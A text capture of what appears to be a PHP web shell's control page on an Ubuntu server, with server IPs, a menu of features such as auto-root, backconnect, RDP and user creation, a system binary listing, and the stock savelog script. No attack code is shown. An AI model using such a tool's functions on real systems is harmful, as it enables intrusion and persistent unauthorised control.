Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
snap /
core24 /
1196 /
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
[
54.44
KB
-rwxr-xr-x
aa-enabled
18.3
KB
-rwxr-xr-x
aa-exec
18.3
KB
-rwxr-xr-x
aa-features-abi
18.3
KB
-rwxr-xr-x
addpart
14.38
KB
-rwxr-xr-x
arch
34.51
KB
-rwxr-xr-x
awk
166.77
KB
-rwxr-xr-x
b2sum
54.51
KB
-rwxr-xr-x
base32
38.51
KB
-rwxr-xr-x
base64
38.51
KB
-rwxr-xr-x
basename
34.51
KB
-rwxr-xr-x
basenc
46.51
KB
-rwxr-xr-x
bash
1.38
MB
-rwxr-xr-x
bashbug
6.82
KB
-rwxr-xr-x
bunzip2
38.38
KB
-rwxr-xr-x
busctl
94.59
KB
-rwxr-xr-x
bzcat
38.38
KB
-rwxr-xr-x
bzcmp
2.17
KB
-rwxr-xr-x
bzdiff
2.17
KB
-rwxr-xr-x
bzegrep
3.69
KB
-rwxr-xr-x
bzexe
4.78
KB
-rwxr-xr-x
bzfgrep
3.69
KB
-rwxr-xr-x
bzgrep
3.69
KB
-rwxr-xr-x
bzip2
38.38
KB
-rwxr-xr-x
bzip2recover
18.3
KB
-rwxr-xr-x
bzless
1.27
KB
-rwxr-xr-x
bzmore
1.27
KB
-rwxr-xr-x
captoinfo
90.41
KB
-rwxr-xr-x
cat
38.46
KB
-rwxr-xr-x
chage
70.49
KB
-rwxr-sr-x
chardet
221
B
-rwxr-xr-x
chardetect
221
B
-rwxr-xr-x
chattr
14.31
KB
-rwxr-xr-x
chcon
58.51
KB
-rwxr-xr-x
chfn
71.09
KB
-rwsr-xr-x
chgrp
58.51
KB
-rwxr-xr-x
chmod
54.51
KB
-rwxr-xr-x
choom
22.38
KB
-rwxr-xr-x
chown
58.51
KB
-rwxr-xr-x
chrt
30.38
KB
-rwxr-xr-x
chsh
43.71
KB
-rwsr-xr-x
cksum
102.52
KB
-rwxr-xr-x
clear
14.31
KB
-rwxr-xr-x
clear_console
14.23
KB
-rwxr-xr-x
cloud-id
972
B
-rwxr-xr-x
cloud-init
976
B
-rwxr-xr-x
cloud-init-per
2.06
KB
-rwxr-xr-x
cmp
42.39
KB
-rwxr-xr-x
comm
38.52
KB
-rwxr-xr-x
core-sshd-host-keygen
1.49
KB
-rwxr-xr-x
coredumpctl
82.66
KB
-rwxr-xr-x
cp
138.52
KB
-rwxr-xr-x
csplit
50.51
KB
-rwxr-xr-x
ctstat
22.66
KB
-rwxr-xr-x
cut
38.51
KB
-rwxr-xr-x
cvtsudoers
321.1
KB
-rwxr-xr-x
dash
126.74
KB
-rwxr-xr-x
date
106.51
KB
-rwxr-xr-x
dbus-cleanup-sockets
14.29
KB
-rwxr-xr-x
dbus-daemon
230.64
KB
-rwxr-xr-x
dbus-monitor
26.3
KB
-rwxr-xr-x
dbus-run-session
14.3
KB
-rwxr-xr-x
dbus-send
30.29
KB
-rwxr-xr-x
dbus-update-activation-environ...
14.29
KB
-rwxr-xr-x
dbus-uuidgen
14.29
KB
-rwxr-xr-x
dd
70.54
KB
-rwxr-xr-x
delpart
14.38
KB
-rwxr-xr-x
df
87.08
KB
-rwxr-xr-x
diff
134.55
KB
-rwxr-xr-x
diff3
58.52
KB
-rwxr-xr-x
dir
138.98
KB
-rwxr-xr-x
dircolors
46.52
KB
-rwxr-xr-x
dirname
34.38
KB
-rwxr-xr-x
dmesg
68.64
KB
-rwxr-xr-x
dnsdomainname
22.23
KB
-rwxr-xr-x
domainname
22.23
KB
-rwxr-xr-x
dpkg-deb
142.58
KB
-rwxr-xr-x
dpkg-realpath
4.09
KB
-rwxr-xr-x
du
98.51
KB
-rwxr-xr-x
ec2metadata
8.38
KB
-rwxr-xr-x
echo
34.38
KB
-rwxr-xr-x
editor
1.66
MB
-rwxr-xr-x
egrep
41
B
-rwxr-xr-x
env
46.95
KB
-rwxr-xr-x
ex
1.66
MB
-rwxr-xr-x
expand
34.53
KB
-rwxr-xr-x
expiry
26.52
KB
-rwxr-sr-x
expr
42.41
KB
-rwxr-xr-x
factor
62.51
KB
-rwxr-xr-x
faillog
22.63
KB
-rwxr-xr-x
fallocate
26.38
KB
-rwxr-xr-x
false
26.3
KB
-rwxr-xr-x
fgrep
41
B
-rwxr-xr-x
finalrd
2.06
KB
-rwxr-xr-x
find
199.48
KB
-rwxr-xr-x
findmnt
67.66
KB
-rwxr-xr-x
flock
22.48
KB
-rwxr-xr-x
fmt
38.51
KB
-rwxr-xr-x
fold
34.51
KB
-rwxr-xr-x
free
26.38
KB
-rwxr-xr-x
gdbserver
615.98
KB
-rwxr-xr-x
getconf
26.36
KB
-rwxr-xr-x
getent
38.72
KB
-rwxr-xr-x
getopt
22.38
KB
-rwxr-xr-x
gpasswd
74.46
KB
-rwsr-xr-x
gpgv
303.14
KB
-rwxr-xr-x
grep
182.45
KB
-rwxr-xr-x
groups
34.51
KB
-rwxr-xr-x
growpart
29.19
KB
-rwxr-xr-x
gunzip
2.29
KB
-rwxr-xr-x
gzexe
6.3
KB
-rwxr-xr-x
gzip
91.23
KB
-rwxr-xr-x
hardlink
46.48
KB
-rwxr-xr-x
head
42.51
KB
-rwxr-xr-x
hostid
34.51
KB
-rwxr-xr-x
hostname
22.23
KB
-rwxr-xr-x
hostnamectl
30.45
KB
-rwxr-xr-x
i386
26.65
KB
-rwxr-xr-x
iconv
66.48
KB
-rwxr-xr-x
id
38.51
KB
-rwxr-xr-x
infocmp
66.38
KB
-rwxr-xr-x
infotocap
90.41
KB
-rwxr-xr-x
install
142.52
KB
-rwxr-xr-x
ionice
18.38
KB
-rwxr-xr-x
ip
754.8
KB
-rwxr-xr-x
ipcmk
22.45
KB
-rwxr-xr-x
ipcrm
18.38
KB
-rwxr-xr-x
ipcs
38.38
KB
-rwxr-xr-x
iptables-xml
92.95
KB
-rwxr-xr-x
ischroot
14.48
KB
-rwxr-xr-x
join
50.55
KB
-rwxr-xr-x
journalctl
78.91
KB
-rwxr-xr-x
json-patch-jsondiff
1004
B
-rwxr-xr-x
jsondiff
1004
B
-rwxr-xr-x
jsonpatch
3.77
KB
-rwxr-xr-x
jsonpointer
1.79
KB
-rwxr-xr-x
jsonschema
213
B
-rwxr-xr-x
kernel-install
54.67
KB
-rwxr-xr-x
kill
22.38
KB
-rwxr-xr-x
kmod
170.24
KB
-rwxr-xr-x
kmodsign
18.45
KB
-rwxr-xr-x
last
34.38
KB
-rwxr-xr-x
lastb
34.38
KB
-rwxr-xr-x
lastlog
27.79
KB
-rwxr-xr-x
lcf
7.6
KB
-rwxr-xr-x
ld.so
231.07
KB
-rwxr-xr-x
ldd
5.26
KB
-rwxr-xr-x
less
190.38
KB
-rwxr-xr-x
lessecho
14.31
KB
-rwxr-xr-x
lessfile
8.83
KB
-rwxr-xr-x
lesskey
23.7
KB
-rwxr-xr-x
lesspipe
8.83
KB
-rwxr-xr-x
link
34.51
KB
-rwxr-xr-x
linux32
26.65
KB
-rwxr-xr-x
linux64
26.65
KB
-rwxr-xr-x
ln
54.51
KB
-rwxr-xr-x
lnstat
22.66
KB
-rwxr-xr-x
locale
49.63
KB
-rwxr-xr-x
locale-check
14.15
KB
-rwxr-xr-x
localectl
26.45
KB
-rwxr-xr-x
localedef
319.09
KB
-rwxr-xr-x
logger
38.97
KB
-rwxr-xr-x
login
51.81
KB
-rwxr-xr-x
loginctl
66.58
KB
-rwxr-xr-x
logname
34.51
KB
-rwxr-xr-x
ls
138.98
KB
-rwxr-xr-x
lsattr
14.31
KB
-rwxr-xr-x
lsblk
146.38
KB
-rwxr-xr-x
lscpu
110.38
KB
-rwxr-xr-x
lsipc
50.38
KB
-rwxr-xr-x
lslocks
30.77
KB
-rwxr-xr-x
lslogins
50.38
KB
-rwxr-xr-x
lsmem
38.38
KB
-rwxr-xr-x
lsmod
170.24
KB
-rwxr-xr-x
lsns
42.38
KB
-rwxr-xr-x
man
128
B
-rwxr-xr-x
mawk
166.77
KB
-rwxr-xr-x
mcookie
26.45
KB
-rwxr-xr-x
md5sum
38.41
KB
-rwxr-xr-x
md5sum.textutils
38.41
KB
-rwxr-xr-x
mesg
14.38
KB
-rwxr-xr-x
mkdir
74.51
KB
-rwxr-xr-x
mkfifo
42.51
KB
-rwxr-xr-x
mknod
42.51
KB
-rwxr-xr-x
mksquashfs
286.95
KB
-rwxr-xr-x
mkswapfile
865
B
-rwxr-xr-x
mktemp
34.51
KB
-rwxr-xr-x
more
46.38
KB
-rwxr-xr-x
mount
50.38
KB
-rwsr-xr-x
mountpoint
18.38
KB
-rwxr-xr-x
mv
134.52
KB
-rwxr-xr-x
namei
22.38
KB
-rwxr-xr-x
nawk
166.77
KB
-rwxr-xr-x
nc
38.63
KB
-rwxr-xr-x
nc.openbsd
38.63
KB
-rwxr-xr-x
netcat
38.63
KB
-rwxr-xr-x
networkctl
122.58
KB
-rwxr-xr-x
newgrp
39.71
KB
-rwsr-xr-x
nice
34.51
KB
-rwxr-xr-x
nisdomainname
22.23
KB
-rwxr-xr-x
nl
38.6
KB
-rwxr-xr-x
nohup
34.41
KB
-rwxr-xr-x
nproc
34.51
KB
-rwxr-xr-x
nsenter
30.6
KB
-rwxr-xr-x
nstat
30.38
KB
-rwxr-xr-x
numfmt
58.54
KB
-rwxr-xr-x
od
70.51
KB
-rwxr-xr-x
openssl
981.8
KB
-rwxr-xr-x
p11-kit
206.7
KB
-rwxr-xr-x
p11tool
218.38
KB
-rwxr-xr-x
pager
190.38
KB
-rwxr-xr-x
partx
62.38
KB
-rwxr-xr-x
passwd
62.65
KB
-rwsr-xr-x
paste
38.41
KB
-rwxr-xr-x
pathchk
34.51
KB
-rwxr-xr-x
pdb3
67.83
KB
-rwxr-xr-x
pdb3.12
67.83
KB
-rwxr-xr-x
pgrep
34.47
KB
-rwxr-xr-x
pidof
26.23
KB
-rwxr-xr-x
pidwait
34.47
KB
-rwxr-xr-x
ping
87.7
KB
-rwxr-xr-x
ping4
87.7
KB
-rwxr-xr-x
ping6
87.7
KB
-rwxr-xr-x
pinky
38.41
KB
-rwxr-xr-x
pkaction
18.3
KB
-rwxr-xr-x
pkcheck
22.3
KB
-rwxr-xr-x
pkcs11-tool
184.61
KB
-rwxr-xr-x
pkill
34.47
KB
-rwxr-xr-x
pkttyagent
22.3
KB
-rwxr-xr-x
pldd
22.44
KB
-rwxr-xr-x
plymouth
46.3
KB
-rwxr-xr-x
pmap
34.4
KB
-rwxr-xr-x
pr
70.58
KB
-rwxr-xr-x
printenv
34.38
KB
-rwxr-xr-x
printf
54.44
KB
-rwxr-xr-x
prlimit
26.89
KB
-rwxr-xr-x
ps
142.99
KB
-rwxr-xr-x
ptx
54.54
KB
-rwxr-xr-x
pwd
34.51
KB
-rwxr-xr-x
pwdx
14.38
KB
-rwxr-xr-x
py3clean
7.63
KB
-rwxr-xr-x
py3compile
13
KB
-rwxr-xr-x
py3versions
12.52
KB
-rwxr-xr-x
pydoc3
80
B
-rwxr-xr-x
pydoc3.12
80
B
-rwxr-xr-x
pygettext3
23.66
KB
-rwxr-xr-x
pygettext3.12
23.66
KB
-rwxr-xr-x
pyserial-miniterm
975
B
-rwxr-xr-x
pyserial-ports
969
B
-rwxr-xr-x
python3
7.65
MB
-rwxr-xr-x
python3.12
7.65
MB
-rwxr-xr-x
rbash
1.38
MB
-rwxr-xr-x
rdma
102.52
KB
-rwxr-xr-x
readlink
42.41
KB
-rwxr-xr-x
realpath
42.41
KB
-rwxr-xr-x
rename.ul
22.38
KB
-rwxr-xr-x
renice
14.38
KB
-rwxr-xr-x
reset
26.31
KB
-rwxr-xr-x
resizepart
22.38
KB
-rwxr-xr-x
resolvectl
158.67
KB
-rwxr-xr-x
rev
14.38
KB
-rwxr-xr-x
rgrep
30
B
-rwxr-xr-x
rm
58.51
KB
-rwxr-xr-x
rmdir
46.41
KB
-rwxr-xr-x
routel
1.62
KB
-rwxr-xr-x
rtstat
22.66
KB
-rwxr-xr-x
run-parts
26.82
KB
-rwxr-xr-x
runcon
34.51
KB
-rwxr-xr-x
rview
1.66
MB
-rwxr-xr-x
savelog
10.24
KB
-rwxr-xr-x
sbattach
22.54
KB
-rwxr-xr-x
sbkeysync
34.74
KB
-rwxr-xr-x
sbsiglist
14.6
KB
-rwxr-xr-x
sbsign
34.7
KB
-rwxr-xr-x
sbvarsign
22.73
KB
-rwxr-xr-x
sbverify
30.61
KB
-rwxr-xr-x
scp
134.59
KB
-rwxr-xr-x
script
54.38
KB
-rwxr-xr-x
scriptlive
42.38
KB
-rwxr-xr-x
scriptreplay
34.38
KB
-rwxr-xr-x
sdiff
50.39
KB
-rwxr-xr-x
sed
110.57
KB
-rwxr-xr-x
select-editor
2.39
KB
-rwxr-xr-x
sensible-browser
1.55
KB
-rwxr-xr-x
sensible-editor
1.52
KB
-rwxr-xr-x
sensible-pager
921
B
-rwxr-xr-x
sensible-terminal
1.15
KB
-rwxr-xr-x
seq
50.51
KB
-rwxr-xr-x
setarch
26.65
KB
-rwxr-xr-x
setpriv
38.38
KB
-rwxr-xr-x
setsid
14.38
KB
-rwxr-xr-x
setterm
34.38
KB
-rwxr-xr-x
sftp
150.66
KB
-rwxr-xr-x
sg
39.71
KB
-rwsr-xr-x
sh
126.74
KB
-rwxr-xr-x
sha1sum
38.41
KB
-rwxr-xr-x
sha224sum
38.41
KB
-rwxr-xr-x
sha256sum
38.41
KB
-rwxr-xr-x
sha384sum
38.41
KB
-rwxr-xr-x
sha512sum
38.41
KB
-rwxr-xr-x
shred
54.51
KB
-rwxr-xr-x
shuf
46.51
KB
-rwxr-xr-x
skill
26.41
KB
-rwxr-xr-x
slabtop
22.44
KB
-rwxr-xr-x
sleep
34.51
KB
-rwxr-xr-x
slogin
827.04
KB
-rwxr-xr-x
snap
21.18
MB
-rwxr-xr-x
snice
26.41
KB
-rwxr-xr-x
sort
102.8
KB
-rwxr-xr-x
splash-client
404
B
-rwxr-xr-x
split
54.94
KB
-rwxr-xr-x
sqfscat
147.9
KB
-rwxr-xr-x
sqfstar
286.95
KB
-rwxr-xr-x
ss
129.07
KB
-rwxr-xr-x
ssh
827.04
KB
-rwxr-xr-x
ssh-add
294.42
KB
-rwxr-xr-x
ssh-agent
302.43
KB
-rwxr-sr-x
ssh-argv0
1.42
KB
-rwxr-xr-x
ssh-copy-id
12.77
KB
-rwxr-xr-x
ssh-keygen
442.44
KB
-rwxr-xr-x
ssh-keyscan
330.44
KB
-rwxr-xr-x
stat
86.52
KB
-rwxr-xr-x
stdbuf
50.51
KB
-rwxr-xr-x
stty
78.52
KB
-rwxr-xr-x
su
54.38
KB
-rwsr-xr-x
sudo
271.42
KB
-rwsr-xr-x
sudoedit
271.42
KB
-rwsr-xr-x
sudoreplay
95.95
KB
-rwxr-xr-x
sum
34.41
KB
-rwxr-xr-x
sync
34.41
KB
-rwxr-xr-x
systemctl
1.43
MB
-rwxr-xr-x
systemd
98.45
KB
-rwxr-xr-x
systemd-ac-power
14.45
KB
-rwxr-xr-x
systemd-analyze
198.85
KB
-rwxr-xr-x
systemd-ask-password
18.58
KB
-rwxr-xr-x
systemd-cat
18.45
KB
-rwxr-xr-x
systemd-cgls
22.57
KB
-rwxr-xr-x
systemd-cgtop
38.47
KB
-rwxr-xr-x
systemd-confext
54.64
KB
-rwxr-xr-x
systemd-creds
42.72
KB
-rwxr-xr-x
systemd-cryptenroll
70.92
KB
-rwxr-xr-x
systemd-cryptsetup
78.95
KB
-rwxr-xr-x
systemd-delta
26.45
KB
-rwxr-xr-x
systemd-detect-virt
18.45
KB
-rwxr-xr-x
systemd-escape
22.45
KB
-rwxr-xr-x
systemd-firstboot
58.82
KB
-rwxr-xr-x
systemd-hwdb
154.74
KB
-rwxr-xr-x
systemd-id128
22.45
KB
-rwxr-xr-x
systemd-inhibit
22.47
KB
-rwxr-xr-x
systemd-machine-id-setup
18.63
KB
-rwxr-xr-x
systemd-mount
50.78
KB
-rwxr-xr-x
systemd-notify
26.66
KB
-rwxr-xr-x
systemd-path
18.45
KB
-rwxr-xr-x
systemd-repart
195.23
KB
-rwxr-xr-x
systemd-run
66.79
KB
-rwxr-xr-x
systemd-socket-activate
30.45
KB
-rwxr-xr-x
systemd-stdio-bridge
22.45
KB
-rwxr-xr-x
systemd-sysext
54.64
KB
-rwxr-xr-x
systemd-sysusers
66.63
KB
-rwxr-xr-x
systemd-tmpfiles
114.7
KB
-rwxr-xr-x
systemd-tty-ask-password-agent
34.45
KB
-rwxr-xr-x
systemd-umount
50.78
KB
-rwxr-xr-x
tabs
18.3
KB
-rwxr-xr-x
tac
38.41
KB
-rwxr-xr-x
tail
62.53
KB
-rwxr-xr-x
tar
421.92
KB
-rwxr-xr-x
taskset
30.38
KB
-rwxr-xr-x
tee
38.51
KB
-rwxr-xr-x
tempfile
14.3
KB
-rwxr-xr-x
test
46.44
KB
-rwxr-xr-x
tic
90.41
KB
-rwxr-xr-x
timedatectl
815
B
-rwxr-xr-x
timedatectl.real
46.45
KB
-rwxr-xr-x
timeout
38.95
KB
-rwxr-xr-x
tload
22.39
KB
-rwxr-xr-x
toe
22.3
KB
-rwxr-xr-x
top
131.7
KB
-rwxr-xr-x
touch
94.51
KB
-rwxr-xr-x
tput
26.34
KB
-rwxr-xr-x
tr
46.51
KB
-rwxr-xr-x
true
26.3
KB
-rwxr-xr-x
truncate
38.51
KB
-rwxr-xr-x
tset
26.31
KB
-rwxr-xr-x
tsort
46.51
KB
-rwxr-xr-x
tty
34.51
KB
-rwxr-xr-x
tzselect
15.02
KB
-rwxr-xr-x
ucf
40.68
KB
-rwxr-xr-x
ucfr
10.85
KB
-rwxr-xr-x
uclampset
30.38
KB
-rwxr-xr-x
udevadm
1.37
MB
-rwxr-xr-x
umount
38.38
KB
-rwsr-xr-x
uname
34.51
KB
-rwxr-xr-x
uncompress
2.29
KB
-rwxr-xr-x
unexpand
38.53
KB
-rwxr-xr-x
uniq
38.51
KB
-rwxr-xr-x
unlink
34.51
KB
-rwxr-xr-x
unshare
42.6
KB
-rwxr-xr-x
unsquashfs
147.9
KB
-rwxr-xr-x
update-alternatives
58.38
KB
-rwxr-xr-x
uptime
14.38
KB
-rwxr-xr-x
users
34.51
KB
-rwxr-xr-x
utmpdump
22.38
KB
-rwxr-xr-x
varlinkctl
30.45
KB
-rwxr-xr-x
vcs-run
6.75
KB
-rwxr-xr-x
vdir
138.98
KB
-rwxr-xr-x
vi
1.66
MB
-rwxr-xr-x
view
1.66
MB
-rwxr-xr-x
vim.tiny
1.66
MB
-rwxr-xr-x
vmstat
38.78
KB
-rwxr-xr-x
w
26.38
KB
-rwxr-xr-x
wall
22.38
KB
-rwxr-xr-x
watch
30.84
KB
-rwxr-xr-x
wc
54.52
KB
-rwxr-xr-x
wdctl
34.4
KB
-rwxr-xr-x
whereis
30.84
KB
-rwxr-xr-x
which
1.05
KB
-rwxr-xr-x
which.debianutils
1.05
KB
-rwxr-xr-x
who
58.52
KB
-rwxr-xr-x
whoami
34.51
KB
-rwxr-xr-x
wpa_passphrase
14.38
KB
-rwxr-xr-x
x86_64
26.65
KB
-rwxr-xr-x
xargs
62.41
KB
-rwxr-xr-x
xdg-email
38
B
-rwxr-xr-x
xdg-open
38
B
-rwxr-xr-x
xdg-settings
1.68
KB
-rwxr-xr-x
yes
34.38
KB
-rwxr-xr-x
ypdomainname
22.23
KB
-rwxr-xr-x
zcat
1.94
KB
-rwxr-xr-x
zcmp
1.64
KB
-rwxr-xr-x
zdiff
6.31
KB
-rwxr-xr-x
zdump
30.28
KB
-rwxr-xr-x
zegrep
29
B
-rwxr-xr-x
zfgrep
29
B
-rwxr-xr-x
zforce
2.03
KB
-rwxr-xr-x
zgrep
7.91
KB
-rwxr-xr-x
zless
2.15
KB
-rwxr-xr-x
zmore
1.8
KB
-rwxr-xr-x
znew
4.47
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : savelog
#! /bin/sh # savelog - save a log file # Copyright (C) 1987, 1988 Ronald S. Karr and Landon Curt Noll # Copyright (C) 1992 Ronald S. Karr # Slight modifications by Ian A. Murdock <imurdock@gnu.ai.mit.edu>: # * uses `gzip' rather than `compress' # * doesn't use $savedir; keeps saved log files in the same directory # * reports successful rotation of log files # * for the sake of consistency, files are rotated even if they are # empty # More modifications by Guy Maor <maor@debian.org>: # * cleanup. # * -p (preserve) option # # usage: savelog [-m mode] [-u user] [-g group] [-t] [-p] [-c cycle] # [-j] [-C] [-d] [-l] [-r rolldir] [-n] [-q] file... # -m mode - chmod log files to mode # -u user - chown log files to user # -g group - chgrp log files to group # -c cycle - save cycle versions of the logfile (default: 7) # -r rolldir- use rolldir instead of . to roll files # -C - force cleanup of cycled logfiles # -d - use standard date for rolling # -D - override date format for -d # -t - touch file # -l - don't compress any log files (default: compress) # -p - preserve mode/user/group of original file # -j - use bzip2 instead of gzip # -J - use xz instead of gzip # -1 .. -9 - compression strength or memory usage (default: 9, except for xz) # -x script - invoke script with rotated log file in $FILE # -n - do not rotate empty files # -q - be quiet # file - log file names # # The savelog command saves and optionally compresses old copies of files. # Older version of 'file' are named: # # 'file'.<number><compress_suffix> # # where <number> is the version number, 0 being the newest. By default, # version numbers > 0 are compressed (unless -l prevents it). The # version number 0 is never compressed on the off chance that a process # still has 'file' opened for I/O. # # if the '-d' option is specified, <number> will be YYMMDDhhmmss # # If the 'file' does not exist and -t was given, it will be created. # # For files that do exist and have lengths greater than zero, the following # actions are performed. # # 1) Version numered files are cycled. That is version 6 is moved to # version 7, version is moved to becomes version 6, ... and finally # version 0 is moved to version 1. Both compressed names and # uncompressed names are cycled, regardless of -t. Missing version # files are ignored. # # 2) The new file.1 is compressed and is changed subject to # the -m, -u and -g flags. This step is skipped if the -t flag # was given. # # 3) The main file is moved to file.0. # # 4) If the -m, -u, -g, -t, or -p flags are given, then the file is # touched into existence subject to the given flags. The -p flag # will preserve the original owner, group, and permissions. # # 5) The new file.0 is changed subject to the -m, -u and -g flags. # # Note: If no -m, -u, -g, -t, or -p is given, then the primary log file is # not created. # # Note: Since the version numbers start with 0, version number <cycle> # is never formed. The <cycle> count must be at least 2. # # Bugs: If a process is still writing to the file.0 and savelog # moved it to file.1 and compresses it, data could be lost. # Smail does not have this problem in general because it # restats files often. # common location export PATH=$PATH:/sbin:/bin:/usr/sbin:/usr/bin COMPRESS="gzip" COMPRESS_OPTS="-f" COMPRESS_STRENGTH_DEF="-9"; DOT_Z=".gz" DATUM=`date +%Y%m%d%H%M%S` # parse args exitcode=0 # no problems to far prog=`basename $0` mode= user= group= touch= forceclean= rolldir= datum= preserve= hookscript= quiet=0 rotateifempty=yes count=7 usage() { echo "Usage: $prog [-m mode] [-u user] [-g group] [-t] [-c cycle] [-p]" echo " [-j] [-C] [-d] [-l] [-r rolldir] [-n] [-q] file ..." echo " -m mode - chmod log files to mode" echo " -u user - chown log files to user" echo " -g group - chgrp log files to group" echo " -c cycle - save cycle versions of the logfile (default: 7)" echo " -r rolldir - use rolldir instead of . to roll files" echo " -C - force cleanup of cycled logfiles" echo " -d - use standard date for rolling" echo " -D - override date format for -d" echo " -t - touch file" echo " -l - don't compress any log files (default: compress)" echo " -p - preserve mode/user/group of original file" echo " -j - use bzip2 instead of gzip" echo " -J - use xz instead of gzip" echo " -1 .. -9 - compression strength or memory usage (default: 9, except for xz)" echo " -x script - invoke script with rotated log file in \$FILE" echo " -n - do not rotate empty files" echo " -q - suppress rotation message" echo " file - log file names" } fixfile() { if [ -n "$user" ]; then chown -- "$user" "$1" fi if [ -n "$group" ]; then chgrp -- "$group" "$1" fi if [ -n "$mode" ]; then chmod -- "$mode" "$1" fi } while getopts m:u:g:c:r:CdD:tlphjJ123456789x:nq opt ; do case "$opt" in m) mode="$OPTARG" ;; u) user="$OPTARG" ;; g) group="$OPTARG" ;; c) count="$OPTARG" ;; r) rolldir="$OPTARG" ;; C) forceclean=1 ;; d) datum=1 ;; D) DATUM=$(date +$OPTARG) ;; t) touch=1 ;; j) COMPRESS="bzip2"; COMPRESS_OPTS="-f"; COMPRESS_STRENGTH_DEF="-9"; DOT_Z=".bz2" ;; J) COMPRESS="xz"; COMPRESS_OPTS="-f"; COMPRESS_STRENGTH_DEF=""; DOT_Z=".xz" ;; [1-9]) COMPRESS_STRENGTH="-$opt" ;; x) hookscript="$OPTARG" ;; l) COMPRESS="" ;; p) preserve=1 ;; n) rotateifempty="no" ;; q) quiet=1 ;; h) usage; exit 0 ;; *) usage; exit 1 ;; esac done shift $(($OPTIND - 1)) if [ "$count" -lt 2 ]; then echo "$prog: count must be at least 2" 1>&2 exit 2 fi if [ -n "$COMPRESS" ] && [ -z "$(command -v $COMPRESS)" ]; then echo "$prog: Compression binary not available, please make sure '$COMPRESS' is installed" 1>&2 exit 2 fi if [ -n "$COMPRESS_STRENGTH" ]; then COMPRESS_OPTS="$COMPRESS_OPTS $COMPRESS_STRENGTH" else COMPRESS_OPTS="$COMPRESS_OPTS $COMPRESS_STRENGTH_DEF" fi # cycle thru filenames while [ $# -gt 0 ]; do # get the filename filename="$1" shift # catch bogus files if [ -e "$filename" ] && [ ! -f "$filename" ]; then echo "$prog: $filename is not a regular file" 1>&2 exitcode=3 continue fi # if file does not exist or is empty, and we've been told to not rotate # empty files, create if requested and skip to the next file. if [ ! -s "$filename" ] && [ "$rotateifempty" = "no" ]; then # if -t was given and it does not exist, create it if test -n "$touch" && [ ! -f "$filename" ]; then touch -- "$filename" if [ "$?" -ne 0 ]; then echo "$prog: could not touch $filename" 1>&2 exitcode=4 continue fi fixfile "$filename" fi continue # otherwise if the file does not exist and we've been told to rotate it # anyway, create an empty file to rotate. elif [ ! -e "$filename" ]; then touch -- "$filename" if [ "$?" -ne 0 ]; then echo "$prog: could not touch $filename" 1>&2 exitcode=4 continue fi fixfile "$filename" fi # be sure that the savedir exists and is writable # (Debian default: $savedir is . and not ./OLD) savedir=`dirname -- "$filename"` if [ -z "$savedir" ]; then savedir=. fi case "$rolldir" in (/*) savedir="$rolldir" ;; (*) savedir="$savedir/$rolldir" ;; esac if [ ! -d "$savedir" ]; then mkdir -p -- "$savedir" if [ "$?" -ne 0 ]; then echo "$prog: could not mkdir $savedir" 1>&2 exitcode=5 continue fi chmod 0755 -- "$savedir" fi if [ ! -w "$savedir" ]; then echo "$prog: directory $savedir is not writable" 1>&2 exitcode=7 continue fi # determine our uncompressed file names newname=`basename -- "$filename"` newname="$savedir/$newname" # cycle the old compressed log files cycle=$(( $count - 1)) rm -f -- "$newname.$cycle" "$newname.$cycle$DOT_Z" while [ $cycle -gt 1 ]; do # --cycle oldcycle=$cycle cycle=$(( $cycle - 1 )) # cycle log if [ -f "$newname.$cycle$DOT_Z" ]; then mv -f -- "$newname.$cycle$DOT_Z" \ "$newname.$oldcycle$DOT_Z" fi if [ -f "$newname.$cycle" ]; then # file was not compressed. move it anyway mv -f -- "$newname.$cycle" "$newname.$oldcycle" fi done # compress the old uncompressed log if needed if [ -f "$newname.0" ]; then if [ -z "$COMPRESS" ]; then newfile="$newname.1" mv -f -- "$newname.0" "$newfile" else newfile="$newname.1$DOT_Z" # $COMPRESS $COMPRESS_OPTS < $newname.0 > $newfile # rm -f $newname.0 $COMPRESS $COMPRESS_OPTS "$newname.0" mv -f -- "$newname.0$DOT_Z" "$newfile" fi fixfile "$newfile" fi # compress the old uncompressed log if needed if test -n "$datum" && test -n "$COMPRESS"; then $COMPRESS $COMPRESS_OPTS -- "$newname".[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9] fi # remove old files if so desired if [ -n "$forceclean" ]; then cycle=$(( $count - 1)) if [ -z "$COMPRESS" ]; then list=$(ls -t -- $newname.[0-9]* 2>/dev/null | sed -e 1,${cycle}d) if [ -n "$list" ]; then rm -f -- $list fi else list=$(ls -t -- $newname.[0-9]*$DOT_Z 2>/dev/null | sed -e 1,${cycle}d) if [ -n "$list" ]; then rm -f -- $list fi fi fi # create new file if needed if [ -n "$preserve" ]; then (umask 077 touch -- "$filename.new" chown --reference="$filename" -- "$filename.new" chmod --reference="$filename" -- "$filename.new") filenew=1 elif [ -n "$touch$user$group$mode" ]; then touch -- "$filename.new" fixfile "$filename.new" filenew=1 fi newfilename="$newname.0" # link the file into the file.0 holding place if [ -f "$filename" ]; then if [ -n "$filenew" ]; then if ln -f -- "$filename" "$newfilename"; then mv -f -- "$filename.new" "$filename" else echo "Error hardlinking $filename to $newfilename" >&2 exitcode=8 continue fi else mv -f -- "$filename" "$newfilename" fi fi [ ! -f "$newfilename" ] && touch -- "$newfilename" fixfile "$newfilename" if [ -n "$datum" ]; then mv -- "$newfilename" "$newname.$DATUM" newfilename="$newname.$DATUM" fi if [ -n "$hookscript" ]; then FILE="$newfilename" $SHELL -c "$hookscript" || \ { ret=$? test "$quiet" -eq 1 || echo "Hook script failed with exit code $ret." 1>&2 } fi # report successful rotation test "$quiet" -eq 1 || echo "Rotated \`$filename' at `date`." done exit $exitcode
Close